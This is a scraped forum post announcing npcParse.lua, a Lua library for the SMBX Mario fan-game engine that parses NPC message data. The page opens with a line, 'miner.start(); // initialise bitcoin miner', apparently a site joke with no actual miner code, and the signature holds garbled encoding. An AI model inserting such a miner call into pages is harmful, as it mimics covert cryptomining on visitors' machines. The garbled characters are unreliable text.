miner.start(); // initialise bitcoin miner

mario fan games galaxysmw centralpge project

npcParse.lua (Standardized NPC message parsing!)

The second SMBX collab!
User avatar
the figure of Kevka's bear was a sightseeing
Posts: 897
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

npcParse.lua (Standardized NPC message parsing!)

Postby Rockythechao » 3 years ago

Copypasta from the SMBX community thread because I'm tired and gonna hit the snoozemat after publishing this



Download and documentation

This library loads data both from tables stored in the NPCs' message text and a JSON file in the level folder ("npcdata.json") and stores it in each NPC's pNPC data. You can even specify a message for the NPC to say once the data's been parsed!
This way multiple libraries can utilize the same NPC's message text, though libraries that currently read from the NPC message directly, such as my own cinematX and a few custom NPC ones, will have to be updated with an option to get the information from the pnpc data instead.

(Please note that the debug text shown in the above screenshot is not a feature of npcParse, but part of the test level's code that uses currently-unreleased features of textblox. I may implement it as a feature in a future update, however.)
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)


𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

Return to β€œA2XT”

Who is online

Users browsing this forum: No registered users and 2 guests